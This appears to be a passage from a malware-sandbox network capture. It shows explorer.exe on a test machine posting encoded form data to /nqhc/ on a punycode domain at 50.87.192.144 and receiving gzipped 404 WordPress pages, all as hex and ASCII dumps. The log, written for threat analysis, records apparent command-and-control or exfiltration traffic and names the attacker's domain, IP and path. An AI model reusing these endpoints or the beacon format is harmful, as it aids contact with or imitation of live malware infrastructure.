c6 80 85 57 67 5f bb 4c c1 30 12 24 4c e7 60 a6 8d 1f 7c fa 1d 3a 6c 90 f6 e6 46 b2 14 a6 8d 1b 0e f3 4c 69 d3 20 81 92 06 24 66 ce 79 68 92 69 08 37 3c 00 5a 1e 5a 84 4b 6e 38 13 34 0f 98 80 a9 57 e2 ec c0 9c 6b 35 53 26 3f df 80 9c 4b c5 65 08 8b 16 91 2a 52 42 a8 f9 79 59 62 b8 11 70 f5 eb bf fe fb 97 3f fb c5 cb 7f fe f1 97 ff f4 bf c8 cb 9f ff 9f 97 3f fb 13 f2 f2 cf fe 9e bc fc bb 3f 7d f9 b3 bf 22 ef bd 33 f4 3d 6f 42 62 15 2b a3 b2 cb 76 55 75 76 29 b8 bc 26 1a c4 f4 3c 94 39 cd 34 44 60 82 e4 9c 24 f8 35 3d 6f b7 17 92 52 7f 34 62 6c e0 0d 96 8e 3d 75 c0 9d 0d dc 01 54 dd 37 f5 0d 26 0c 68 c9 0c 34 88 59 66 a8 03 cb 32 c1 03 66 b8 92 6d 9d e7 df 58 a4 02 af 6c df 69 63 c5 83 bc a7 d9 1f 15 6a 42 7e fd 93 ff f5 e5 df fc b4 51 b5 6d 24 c6 64 e3 87 7a b7 23 80 b0 dd 78 93 0c be fc ab bf f9 d5 2f 7f fc ca 44 02 95 a6 b8 9d 7c 97 51 1e 68 9e 99 ab b3 39 ee 4b cd 9d 17 f3 0c 52 f5 39 7f 0e c6 70 19 e7 64 4a 6e 1b 33 96 c3 0f b4 68 8c cb 1e f9 f8 b3 f6 67 ed dc 99 3b 4a c7 9f b5 79 ca 62 c8 3f 43 70 0d 9f b5 cb e2 cf da 5e d7 71 1d f7 b3 f6 c0 5f 0c fc cf da 8d 56 03 16 06 eb 9d 4c c6 78 c8 6f e2 a7 e1 61 61 89 86 ef 0f 2b 40 fc b2 67 55 e8 00 1a e3 db 06 3a 10 45 2c cb 56 f8 25 fc 71 55 3e 6b cf 33 ca 65 20 8a d0 b6 fd 3c 2f 03 25 00 c5 4d 01 ce ee a4 5c 3a 9f e7 df bc 01 3d ed 3b 9e e3 35 ee ee 26 67 ed af 3f 23 9f 26 3c 27 11 17 40 f0 cd 0a a3 68 0c 12 34 12 08 c9 d7 db 67 cf a2 42 06 76 a3 17 d0 62 2d d3 bc bd 61 9a c8 96 6e a9 16 9f 32 27 d0 80 99 1f 0a b0 5b b9 68 04 4c de b0 bc d1 6c 65 53 ee c4 60 3e 50 d2 a0 6c ef bd b7 7b ba 68 f8 61 a3 39 59 03 93 1c a1 57 c0 6c fa dc 68 5c 9a 13 69 95 7e 90 30 fd 81 0a a1 05 d3 8b cc 09 70 0e fd 09 04 e6 c2 6d b9 2d ee cc 79 68 12 7c 27 c0 e3 c4 60 47 07 87 10 9f 5a 7c e6 58 27 2e 2f 0c 8e d6 82 26 a6 bb 4d cc 34 ea db cc b0 1f 7c f2 bd 8b 66 73 a2 c1 14 5a 92 a7 e3 9a 15 2e 4c a7 d3 3d ec bb cd 60 c1 05 54 63 99 fb 4a 55 a6 45 19 8c 93 eb Data Ascii: rmug${zdj+V&)Vta#"$I~?;^v^Hs<\|!IL.&iZIWg_L0$L`\|:lFLi $fyhi7<ZZKn84Wk5S&?KeRByYbp???}"3=oBb+vUuv)&<94D`$5=oR4bl=uT7&h4Yf2fmXlicjB~Qm$dz#x/D\|Qh9KR9pdJn3hg;Jyb?Cp^q_VLxoaa+@gU:E,V%qU>k3e </%M\:=;5&g?#&<'@h4gBvb-an2'[hLleS`>Pl{ha9YWlh\i~0pm-yh\|'`GZ\|X'./&M4\|fsZ.L=`TcJUE
Dec 5, 2022 15:17:26.825725079 CET	11775	IN	Data Raw: 60 8a 0a 38 21 44 b8 1d e3 98 65 06 d3 86 55 aa fd 39 43 39 ab cc 16 b3 12 ae ea f3 f7 97 9f b2 f8 f7 58 0a 17 8d 04 18 ca f9 43 f7 47 96 1d c8 f0 83 84 8b f0 c2 20 0f a5 2f d4 f4 5b 5a b3 e5 45 23 12 cc ba ac 72 55 13 bb e5 45 96 29 6d f2 e9 2d Data Ascii: `8!DeU9C9XCG /[ZE#rUE)m-)8"\|1~Sw/#@&o\|E[4oytVf>&HpvK;Ve4w]L4p{fV?h8h{ngn5zG{7yguzV?lMY
Dec 5, 2022 15:17:26.825814962 CET	11776	IN	Data Raw: 51 07 ef 25 39 09 cb e9 76 19 b7 19 0b 43 2e e3 b1 e7 f8 3d 48 89 ef 74 06 f8 9e a4 4c c7 5c 52 a3 b2 b1 bb 3e cc 14 72 4c c7 ee 23 9c 12 60 16 71 9f 4d e2 1d 34 6e 25 fe bd 48 e7 5e a4 7b 2f d2 bb 17 e9 9f 36 d2 23 ac 51 1b 16 a3 e3 93 03 15 79 Data Ascii: Q%9vC.=HtL\R>rL#`qM4n%H^{/6#QyN.mpW9B0}KWvP,+-3TPqunc@FB13~tq$81c?s;A%RF3GJ"@,h.xuCwj<O@E
Dec 5, 2022 15:17:26.825880051 CET	11778	IN	Data Raw: f7 f3 f3 8c 05 40 67 60 e6 00 f2 5e dd de ed 9d 93 07 1a df 28 09 0b d1 35 56 af db 99 d2 f8 3d 76 27 81 e0 d9 58 a3 36 17 5e b6 68 ed fc 37 cb 2b 9a 31 93 8c b9 c4 f5 5e f4 dc 77 9b 93 04 2c d3 31 26 4c 52 74 21 97 63 6a bf d5 0d e8 48 a8 f9 38 Data Ascii: @g`^(5V=v'X6^h7+1^w,1&LRt!cjH8ar02~fi54S0iH#V.9PB;aVs-vUvM0l-AbM=dnF\|x],B4+.[0%c?wIpQ
Dec 5, 2022 15:17:26.825943947 CET	11779	IN	Data Raw: c3 ca b9 0c ff b7 be ab 01 3c 9a 7b 32 7c 0e 81 92 e8 b5 e5 e3 e8 9b d4 93 c1 0d 68 c3 4f c2 5e 67 3e b0 1e cd 53 4c 78 5c 93 fa c4 d3 80 1f 52 a3 36 ef 34 d8 07 74 a8 4b bb 07 1a 29 69 68 ce bf 40 d8 3c 65 42 8c 89 a7 21 3d 9e 94 42 c8 8b 14 b3 Data Ascii: <{2\|hO^g>SLx\R64tK)ih@<eB!=B=)Nyuf X][s3o)Xy/siL*z_py1`Fbm>Q3Te>g2o`VHS>`0B=(1y 'U<Pcx^s""u0y.cJ}wL\
Dec 5, 2022 15:17:26.826006889 CET	11780	IN	Data Raw: 4d f2 8c a7 99 d2 86 49 b3 c2 08 96 4c e2 65 c1 f3 84 a2 e4 cb 13 e1 0e cb 6a 90 e7 09 37 70 22 5c 99 5b 83 91 31 01 34 c3 5d 9d 88 b3 c9 af c1 ba e1 37 3c a4 1a c2 13 b1 36 f9 35 58 a2 48 b9 54 c5 1a 14 97 23 e3 53 67 ad ad 7d bc 07 4b 67 e8 c8 Data Ascii: MILej7p"\[14]7<65XHT#Sg}Kg'(K:XodjevUGqBg@Hi*6XpJhh2<u)UvNH,uZb5k<fjrVopDsCg\N7TC
Dec 5, 2022 15:17:26.826105118 CET	11782	IN	Data Raw: 4d cf 51 dd 73 d2 46 86 79 a0 79 66 08 aa 7c 62 4b 2e 03 51 84 d8 6c 86 5b b9 ce db 92 dd f0 98 19 ae 64 fb 86 c3 dc 49 b9 74 3e af 1a 06 7e b7 d3 71 a3 7e a7 17 f5 82 d9 28 ec 81 0b d5 f4 88 53 96 d3 6d 35 b5 d5 f4 f3 fc fc 0a e5 2b 49 bd 05 76 Data Ascii: MQsFyyf\|bK.Ql[dIt>~q~(Sm5+Iv4U!y?Y;\|X~T^^:N**%n[MSkf`C8il$rd2vrt$zZs\|1eRu~cF'}z;,YdIMMwy$ 7uw+
Dec 5, 2022 15:17:26.826204062 CET	11783	IN	Data Raw: ca ef bf 11 bf cf 50 46 aa 50 b0 18 7e 6b ed be 6b 76 7f d0 db b3 ed c3 06 77 9d 3e 56 74 7b 2b 04 ff 64 bf 0f ef f9 dd 1b f5 dd c1 b0 db f1 3a 03 bf b7 83 f3 ad 07 70 bc 15 d5 76 8d 3c 1b cd d0 33 40 b8 f4 a7 8d e7 aa d0 01 7c a4 59 96 f0 a0 41 Data Ascii: PFP~kkvw>Vt{+d:pv<3@\|YAT.W0zQ9dcq=yQ:n4=jQbdCO)?#aq"A"nxg\pr%" 2cBG-&DoQyFBG#!!e?cuu
Dec 5, 2022 15:17:26.826313972 CET	11784	IN	Data Raw: f2 d5 30 85 ca 4b 07 cf b8 0c 01 e7 a0 de fd e5 94 49 15 f6 2b 81 87 9c 09 15 d7 f9 67 c5 d4 e2 ed 1a 6f df 63 5f fe e5 7f 2b 3d 56 4b e7 d5 9d 57 8d 5a f9 ea 89 06 3a 62 c7 d3 7c 95 31 93 10 5c d6 c7 5e 87 78 9e 33 14 7d c7 a3 7d a7 43 3d 6a df Data Ascii: 0KI+goc_+=VKWZ:b\|1\^x3}}C=j;>b>={sT>/mT_ 6q:c1PsL:/_RRIr}<&)hjUe6xBpy}QI?16K:?l3Zp\|b#v^v
Dec 5, 2022 15:17:26.826380014 CET	11785	IN	Data Raw: fe dd d9 63 2a 8c 23 15 14 f9 4a 0b 16 5c 5b e7 ca 10 5d 2d 14 aa f2 0e 00 ec 08 c3 0a a3 0e 19 ed 48 22 95 5c 65 af aa bb dd 6e 79 0e 79 9e 09 b6 1c 93 d2 cc 65 28 52 d2 a0 ab bf 00 1c 06 d2 3d 09 6d 97 32 20 20 c2 63 6f 35 2b 0e 00 74 9d 53 4d Data Ascii: c#J\[]-H"\enyye(R=m2 co5+tSMjJ(]7+U7\@HTJ-Kk]4~^h*0MC?E!S)HQz:Lr2.Ie\|3wC#fT&A: )V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.11.20	49886	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:28.628016949 CET	11787	OUT	POST /nqhc/ HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.xn--29-oj9ik7b890b.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xn--29-oj9ik7b890b.net/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 56 72 70 38 63 62 49 45 70 59 55 42 66 45 6f 75 6c 6f 7e 35 77 61 64 37 64 45 4d 59 50 4c 28 38 4e 50 75 44 54 32 67 51 43 38 75 33 4b 43 63 37 69 6e 35 4e 64 36 28 6d 28 31 61 52 57 51 59 79 4d 32 4d 46 56 6d 74 31 78 61 62 53 6d 57 36 71 69 4e 50 62 62 79 47 78 39 77 45 38 6d 78 5a 51 4c 6e 4e 67 7e 64 33 7a 48 45 61 67 48 7a 42 57 38 43 5a 70 59 2d 68 2d 50 42 63 30 6a 32 4c 6d 47 64 53 44 34 43 58 56 77 51 57 54 46 64 73 54 4a 41 45 46 45 64 72 79 46 34 61 5f 6d 72 64 74 79 6a 68 76 45 49 4f 72 71 53 4a 52 6b 57 55 47 4b 45 48 5a 64 56 33 78 43 58 45 78 4f 70 32 44 55 68 78 44 70 2d 45 47 5a 43 61 4e 62 47 35 67 78 50 74 61 4b 39 44 51 55 36 6d 6b 6b 76 30 41 41 37 62 72 41 75 45 6c 6b 4e 4f 52 51 64 42 41 6b 69 7a 35 7e 6b 68 6c 36 49 62 58 64 73 63 63 58 72 46 4a 63 52 50 78 64 44 33 70 73 37 55 4d 6e 63 6f 42 46 5f 36 6f 70 75 65 33 6f 67 73 75 72 37 6c 72 33 41 6b 36 4b 58 7a 5f 77 4a 41 69 77 49 6c 47 28 2d 67 33 75 31 35 53 36 5a 79 65 38 57 56 69 54 65 33 5a 69 71 47 52 67 43 6a 76 56 66 4a 6c 4c 56 4c 6e 47 50 56 59 66 5a 48 49 7a 41 51 53 78 37 49 37 4a 4d 33 61 63 56 78 71 64 79 30 61 67 55 52 67 6f 50 44 44 58 67 58 32 77 78 44 6b 54 53 70 78 46 37 39 49 58 39 51 37 54 65 4d 37 6e 5f 51 48 62 4b 51 33 54 4a 73 72 74 4d 66 78 58 2d 33 4f 66 61 4c 69 4f 5f 73 36 39 57 44 6a 47 33 65 79 71 4c 6e 64 77 76 70 38 31 4d 57 6e 43 7a 68 70 64 62 58 56 4d 68 71 69 5a 53 4a 57 70 65 77 71 58 36 57 4e 73 46 57 4c 39 70 69 4b 36 64 32 5a 4e 4c 42 72 34 59 77 55 39 79 66 6f 31 32 62 65 48 62 36 67 79 4f 61 72 7a 79 73 57 58 64 38 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=Vrp8cbIEpYUBfEoulo~5wad7dEMYPL(8NPuDT2gQC8u3KCc7in5Nd6(m(1aRWQYyM2MFVmt1xabSmW6qiNPbbyGx9wE8mxZQLnNg~d3zHEagHzBW8CZpY-h-PBc0j2LmGdSD4CXVwQWTFdsTJAEFEdryF4a_mrdtyjhvEIOrqSJRkWUGKEHZdV3xCXExOp2DUhxDp-EGZCaNbG5gxPtaK9DQU6mkkv0AA7brAuElkNORQdBAkiz5~khl6IbXdsccXrFJcRPxdD3ps7UMncoBF_6opue3ogsur7lr3Ak6KXz_wJAiwIlG(-g3u15S6Zye8WViTe3ZiqGRgCjvVfJlLVLnGPVYfZHIzAQSx7I7JM3acVxqdy0agURgoPDDXgX2wxDkTSpxF79IX9Q7TeM7n_QHbKQ3TJsrtMfxX-3OfaLiO_s69WDjG3eyqLndwvp81MWnCzhpdbXVMhqiZSJWpewqX6WNsFWL9piK6d2ZNLBr4YwU9yfo12beHb6gyOarzysWXd8.
Dec 5, 2022 15:17:28.927171946 CET	11788	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:28 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 11649 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6d 8f ec c8 75 de 67 cd af a8 db 8b dd 99 96 ba d8 24 fb bd 7b 7a 64 ed 6a b5 16 a2 b5 85 bd 2b 1b 81 56 b8 a8 26 0f c9 da 29 56 d1 c5 e2 74 f7 8e 07 10 10 c7 f0 1b 9c 04 96 61 23 90 02 1b 88 e1 04 f9 22 24 0a a0 0f 49 7e 90 f6 ea 3f e4 14 d9 ef c3 9e e9 3b f7 5e 19 89 76 5e 48 d6 a9 73 9e f3 9c e7 3c 97 cf be fd fb 1f 7c fa af bf ff 21 49 4c 2a ae ce 2e ed 8b 08 26 e3 69 e3 5a d1 7f f5 49 c3 c6 80 85 57 67 5f bb 4c c1 30 12 24 4c e7 60 a6 8d 1f 7c fa 1d 3a 6c 90 f6 e6 46 b2 14 a6 8d 1b 0e f3 4c 69 d3 20 81 92 06 24 66 ce 79 68 92 69 08 37 3c 00 5a 1e 5a 84 4b 6e 38 13 34 0f 98 80 a9 57 e2 ec c0 9c 6b 35 53 26 3f df 80 9c 4b c5 65 08 8b 16 91 2a 52 42 a8 f9 79 59 62 b8 11 70 f5 eb bf fe fb 97 3f fb c5 cb 7f fe f1 97 ff f4 bf c8 cb 9f ff 9f 97 3f fb 13 f2 f2 cf fe 9e bc fc bb 3f 7d f9 b3 bf 22 ef bd 33 f4 3d 6f 42 62 15 2b a3 b2 cb 76 55 75 76 29 b8 bc 26 1a c4 f4 3c 94 39 cd 34 44 60 82 e4 9c 24 f8 35 3d 6f b7 17 92 52 7f 34 62 6c e0 0d 96 8e 3d 75 c0 9d 0d dc 01 54 dd 37 f5 0d 26 0c 68 c9 0c 34 88 59 66 a8 03 cb 32 c1 03 66 b8 92 6d 9d e7 df 58 a4 02 af 6c df 69 63 c5 83 bc a7 d9 1f 15 6a 42 7e fd 93 ff f5 e5 df fc b4 51 b5 6d 24 c6 64 e3 87 7a b7 23 80 b0 dd 78 93 0c be fc ab bf f9 d5 2f 7f fc ca 44 02 95 a6 b8 9d 7c 97 51 1e 68 9e 99 ab b3 39 ee 4b cd 9d 17 f3 0c 52 f5 39 7f 0e c6 70 19 e7 64 4a 6e 1b 33 96 c3 0f b4 68 8c cb 1e f9 f8 b3 f6 67 ed dc 99 3b 4a c7 9f b5 79 ca 62 c8 3f 43 70 0d 9f b5 cb e2 cf da 5e d7 71 1d f7 b3 f6 c0 5f 0c fc cf da 8d 56 03 16 06 eb 9d 4c c6 78 c8 6f e2 a7 e1 61 61 89 86 ef 0f 2b 40 fc b2 67 55 e8 00 1a e3 db 06 3a 10 45 2c cb 56 f8 25 fc 71 55 3e 6b cf 33 ca 65 20 8a d0 b6 fd 3c 2f 03 25 00 c5 4d 01 ce ee a4 5c 3a 9f e7 df bc 01 3d ed 3b 9e e3 35 ee ee 26 67 ed af 3f 23 9f 26 3c 27 11 17 40 f0 cd 0a a3 68 0c 12 34 12 08 c9 d7 db 67 cf a2 42 06 76 a3 17 d0 62 2d d3 bc bd 61 9a c8 96 6e a9 16 9f 32 27 d0 80 99 1f 0a b0 5b b9 68 04 4c de b0 bc d1 6c 65 53 ee c4 60 3e 50 d2 a0 6c ef bd b7 7b ba 68 f8 61 a3 39 59 03 93 1c a1 57 c0 6c fa dc 68 5c 9a 13 69 95 7e 90 30 fd 81 0a a1 05 d3 8b cc 09 70 0e fd 09 04 e6 c2 6d b9 2d ee cc 79 68 12 7c 27 c0 e3 c4 60 47 07 87 10 9f 5a 7c e6 58 27 2e 2f 0c 8e d6 82 26 a6 bb 4d cc 34 ea db cc b0 1f 7c f2 bd 8b 66 73 a2 c1 14 5a 92 a7 e3 9a 15 2e 4c a7 d3 3d ec bb cd 60 c1 05 54 63 99 fb 4a 55 a6 45 19 8c 93 eb Data Ascii: rmug${zdj+V&)Vta#"$I~?;^v^Hs<\|!IL.&iZIWg_L0$L`\|:lFLi $fyhi7<ZZKn84Wk5S&?KeRByYbp???}"3=oBb+vUuv)&<94D`$5=oR4bl=uT7&h4Yf2fmXlicjB~Qm$dz#x/D\|Qh9KR9pdJn3hg;Jyb?Cp^q_VLxoaa+@gU:E,V%qU>k3e </%M\:=;5&g?#&<'@h4gBvb-an2'[hLleS`>Pl{ha9YWlh\i~0pm-yh\|'`GZ\|X'./&M4\|fsZ.L=`TcJUE
Dec 5, 2022 15:17:28.927288055 CET	11789	IN	Data Raw: 60 8a 0a 38 21 44 b8 1d e3 98 65 06 d3 86 55 aa fd 39 43 39 ab cc 16 b3 12 ae ea f3 f7 97 9f b2 f8 f7 58 0a 17 8d 04 18 ca f9 43 f7 47 96 1d c8 f0 83 84 8b f0 c2 20 0f a5 2f d4 f4 5b 5a b3 e5 45 23 12 cc ba ac 72 55 13 bb e5 45 96 29 6d f2 e9 2d Data Ascii: `8!DeU9C9XCG /[ZE#rUE)m-)8"\|1~Sw/#@&o\|E[4oytVf>&HpvK;Ve4w]L4p{fV?h8h{ngn5zG{7yguzV?lMY
Dec 5, 2022 15:17:28.927347898 CET	11790	IN	Data Raw: 51 07 ef 25 39 09 cb e9 76 19 b7 19 0b 43 2e e3 b1 e7 f8 3d 48 89 ef 74 06 f8 9e a4 4c c7 5c 52 a3 b2 b1 bb 3e cc 14 72 4c c7 ee 23 9c 12 60 16 71 9f 4d e2 1d 34 6e 25 fe bd 48 e7 5e a4 7b 2f d2 bb 17 e9 9f 36 d2 23 ac 51 1b 16 a3 e3 93 03 15 79 Data Ascii: Q%9vC.=HtL\R>rL#`qM4n%H^{/6#QyN.mpW9B0}KWvP,+-3TPqunc@FB13~tq$81c?s;A%RF3GJ"@,h.xuCwj<O@E
Dec 5, 2022 15:17:28.927396059 CET	11792	IN	Data Raw: f7 f3 f3 8c 05 40 67 60 e6 00 f2 5e dd de ed 9d 93 07 1a df 28 09 0b d1 35 56 af db 99 d2 f8 3d 76 27 81 e0 d9 58 a3 36 17 5e b6 68 ed fc 37 cb 2b 9a 31 93 8c b9 c4 f5 5e f4 dc 77 9b 93 04 2c d3 31 26 4c 52 74 21 97 63 6a bf d5 0d e8 48 a8 f9 38 Data Ascii: @g`^(5V=v'X6^h7+1^w,1&LRt!cjH8ar02~fi54S0iH#V.9PB;aVs-vUvM0l-AbM=dnF\|x],B4+.[0%c?wIpQ
Dec 5, 2022 15:17:28.927443981 CET	11793	IN	Data Raw: c3 ca b9 0c ff b7 be ab 01 3c 9a 7b 32 7c 0e 81 92 e8 b5 e5 e3 e8 9b d4 93 c1 0d 68 c3 4f c2 5e 67 3e b0 1e cd 53 4c 78 5c 93 fa c4 d3 80 1f 52 a3 36 ef 34 d8 07 74 a8 4b bb 07 1a 29 69 68 ce bf 40 d8 3c 65 42 8c 89 a7 21 3d 9e 94 42 c8 8b 14 b3 Data Ascii: <{2\|hO^g>SLx\R64tK)ih@<eB!=B=)Nyuf X][s3o)Xy/siL*z_py1`Fbm>Q3Te>g2o`VHS>`0B=(1y 'U<Pcx^s""u0y.cJ}wL\
Dec 5, 2022 15:17:28.927503109 CET	11794	IN	Data Raw: 4d f2 8c a7 99 d2 86 49 b3 c2 08 96 4c e2 65 c1 f3 84 a2 e4 cb 13 e1 0e cb 6a 90 e7 09 37 70 22 5c 99 5b 83 91 31 01 34 c3 5d 9d 88 b3 c9 af c1 ba e1 37 3c a4 1a c2 13 b1 36 f9 35 58 a2 48 b9 54 c5 1a 14 97 23 e3 53 67 ad ad 7d bc 07 4b 67 e8 c8 Data Ascii: MILej7p"\[14]7<65XHT#Sg}Kg'(K:XodjevUGqBg@Hi*6XpJhh2<u)UvNH,uZb5k<fjrVopDsCg\N7TC
Dec 5, 2022 15:17:28.927552938 CET	11796	IN	Data Raw: 4d cf 51 dd 73 d2 46 86 79 a0 79 66 08 aa 7c 62 4b 2e 03 51 84 d8 6c 86 5b b9 ce db 92 dd f0 98 19 ae 64 fb 86 c3 dc 49 b9 74 3e af 1a 06 7e b7 d3 71 a3 7e a7 17 f5 82 d9 28 ec 81 0b d5 f4 88 53 96 d3 6d 35 b5 d5 f4 f3 fc fc 0a e5 2b 49 bd 05 76 Data Ascii: MQsFyyf\|bK.Ql[dIt>~q~(Sm5+Iv4U!y?Y;\|X~T^^:N**%n[MSkf`C8il$rd2vrt$zZs\|1eRu~cF'}z;,YdIMMwy$ 7uw+
Dec 5, 2022 15:17:28.927604914 CET	11797	IN	Data Raw: ca ef bf 11 bf cf 50 46 aa 50 b0 18 7e 6b ed be 6b 76 7f d0 db b3 ed c3 06 77 9d 3e 56 74 7b 2b 04 ff 64 bf 0f ef f9 dd 1b f5 dd c1 b0 db f1 3a 03 bf b7 83 f3 ad 07 70 bc 15 d5 76 8d 3c 1b cd d0 33 40 b8 f4 a7 8d e7 aa d0 01 7c a4 59 96 f0 a0 41 Data Ascii: PFP~kkvw>Vt{+d:pv<3@\|YAT.W0zQ9dcq=yQ:n4=jQbdCO)?#aq"A"nxg\pr%" 2cBG-&DoQyFBG#!!e?cuu
Dec 5, 2022 15:17:28.927653074 CET	11798	IN	Data Raw: f2 d5 30 85 ca 4b 07 cf b8 0c 01 e7 a0 de fd e5 94 49 15 f6 2b 81 87 9c 09 15 d7 f9 67 c5 d4 e2 ed 1a 6f df 63 5f fe e5 7f 2b 3d 56 4b e7 d5 9d 57 8d 5a f9 ea 89 06 3a 62 c7 d3 7c 95 31 93 10 5c d6 c7 5e 87 78 9e 33 14 7d c7 a3 7d a7 43 3d 6a df Data Ascii: 0KI+goc_+=VKWZ:b\|1\^x3}}C=j;>b>={sT>/mT_ 6q:c1PsL:/_RRIr}<&)hjUe6xBpy}QI?16K:?l3Zp\|b#v^v
Dec 5, 2022 15:17:28.927695990 CET	11799	IN	Data Raw: fe dd d9 63 2a 8c 23 15 14 f9 4a 0b 16 5c 5b e7 ca 10 5d 2d 14 aa f2 0e 00 ec 08 c3 0a a3 0e 19 ed 48 22 95 5c 65 af aa bb dd 6e 79 0e 79 9e 09 b6 1c 93 d2 cc 65 28 52 d2 a0 ab bf 00 1c 06 d2 3d 09 6d 97 32 20 20 c2 63 6f 35 2b 0e 00 74 9d 53 4d Data Ascii: c#J\[]-H"\enyye(R=m2 co5+tSMjJ(]7+U7\@HTJ-Kk]4~^h*0MC?E!S)HQz:Lr2.Ie\|3wC#fT&A: )V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.11.20	49887	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:30.815977097 CET	11805	OUT	POST /nqhc/ HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.xn--29-oj9ik7b890b.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xn--29-oj9ik7b890b.net/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 56 72 70 38 63 62 49 45 70 59 55 42 66 45 6f 75 6c 6f 7e 35 77 61 64 37 64 45 4d 59 50 4c 28 38 4e 50 75 44 54 32 67 51 43 38 6d 33 4b 77 55 37 6b 47 35 4e 63 36 28 6d 32 56 61 63 57 51 59 72 4d 32 6b 42 56 6d 70 44 78 5a 7a 53 68 46 43 71 69 66 6e 62 4c 43 47 77 6a 41 45 36 69 78 59 52 4c 6e 51 6e 7e 64 53 52 48 30 47 67 57 42 4a 57 72 46 31 71 43 4f 68 34 50 42 63 77 30 6d 4c 41 47 64 6d 54 34 43 62 56 77 56 65 54 45 76 6b 54 4c 58 6f 46 66 64 72 31 4d 59 61 37 28 37 64 69 79 6a 6c 46 45 49 4f 52 71 58 35 52 6b 55 63 47 4c 44 72 59 63 31 33 78 42 58 45 32 4b 70 71 48 55 68 74 4c 70 39 59 47 5a 46 65 4e 55 47 35 67 7a 72 42 62 4a 64 44 4b 66 61 6d 6f 79 66 6f 59 41 37 50 5a 41 75 51 6c 6b 64 61 52 43 36 64 41 70 6a 7a 35 77 6b 68 72 7e 49 62 45 57 4d 64 64 58 72 56 56 63 52 76 4c 64 45 76 70 74 61 30 4d 69 39 6f 41 56 50 36 75 31 65 66 39 6a 41 67 69 72 34 64 33 33 41 6c 69 4b 54 72 5f 77 36 59 69 78 4d 4a 46 79 4f 67 77 69 56 35 44 30 35 4f 55 38 57 4a 36 54 61 7a 4a 69 70 71 52 67 69 6a 76 48 4a 42 6b 45 56 4c 67 45 50 56 4b 62 5a 48 54 7a 41 4e 7a 78 36 4d 4e 4a 39 4c 61 66 46 42 71 4d 79 30 62 6c 30 52 73 68 76 44 4e 63 41 58 32 77 78 66 61 54 58 78 78 46 75 4a 49 57 4b 38 37 58 4a 59 37 72 66 51 46 62 4b 51 6d 54 49 51 49 74 4d 57 53 58 5f 48 6b 66 59 48 69 41 4b 49 36 38 6e 44 73 44 48 65 39 75 4c 6d 48 30 75 56 72 31 4d 4b 56 43 7a 52 35 64 4a 6a 56 4e 68 36 69 64 53 4a 56 38 4f 77 74 51 36 58 4f 6f 46 4c 4b 39 70 57 77 36 65 71 7a 4e 4c 70 72 34 63 46 79 73 6a 28 6c 67 45 44 44 45 64 53 79 34 39 32 78 75 51 30 38 4d 4a 42 4b 6f 47 55 56 71 5a 73 68 6b 5a 47 72 4d 4a 6a 30 66 34 61 44 77 41 53 65 28 34 32 48 41 6a 49 72 48 46 57 79 6f 52 76 67 76 41 77 31 41 4d 75 69 53 79 6e 42 56 56 4c 66 35 48 52 5f 39 5a 4c 54 28 48 6b 70 67 76 6c 48 46 31 76 6b 49 72 65 5f 4e 49 73 58 52 54 4e 6c 45 49 44 7a 77 5f 57 53 48 68 6a 6b 70 45 30 30 4e 4b 31 50 72 5f 74 79 45 41 33 5f 51 73 63 6e 59 75 41 38 4f 4c 63 67 79 6f 4d 37 51 50 50 32 48 61 31 30 53 30 62 4e 71 44 41 48 59 67 6c 79 58 33 58 53 6f 74 32 5f 31 70 4f 6f 39 79 43 2d 59 35 59 69 4e 4d 78 37 47 78 65 6b 4e 45 76 5a 6f 32 66 58 49 75 76 57 69 53 6c 44 66 68 59 42 68 70 68 74 7e 5a 49 34 39 4e 42 30 79 69 6c 70 39 73 38 74 49 32 4d 42 76 65 61 5a 7e 51 44 77 31 6d 66 46 4d 4c 6f 4c 49 54 77 51 31 36 57 74 41 4f 70 71 63 43 4d 71 4e 6d 53 4a 48 43 6c 70 79 58 44 55 44 48 4f 75 78 64 69 73 66 35 7e 53 55 35 71 79 74 41 48 66 62 37 39 6d 4c 42 65 7a 52 30 51 4e 54 30 64 72 5a 5f 79 66 70 71 54 6d 7e 6f 65 67 4a 54 69 52 34 6d 69 52 4f 4d 4f 39 53 4a 34 72 68 39 4c 69 47 37 7a 37 34 33 41 6a 37 78 66 7a 4d 6e 4a 47 79 7a 64 37 43 4d 4d 53 77 51 4e 69 75 4e 48 45 68 5f 58 54 65 78 66 31 5a 30 4e 49 6e 48 76 76 6a 31 38 68 45 33 58 5a 41 44 58 34 7e 54 64 31 41 4c 72 74 74 48 4f 45 71 46 33 2d 78 79 65 72 44 50 71 4f 49 4b 7e 5f 37 77 74 31 66 6f 78 73 41 68 4b 6e 4f 33 28 73 4e 41 7e 46 6c 61 78 72 6d 65 61 69 47 38 6e 2d 43 75 38 6b 37 65 6a 73 41 39 49 50 30 34 5a 2d 55 71 41 70 28 61 6c 72 30 39 76 30 77 33 55 56 79 46 72 37 7a 74 61 64 28 46 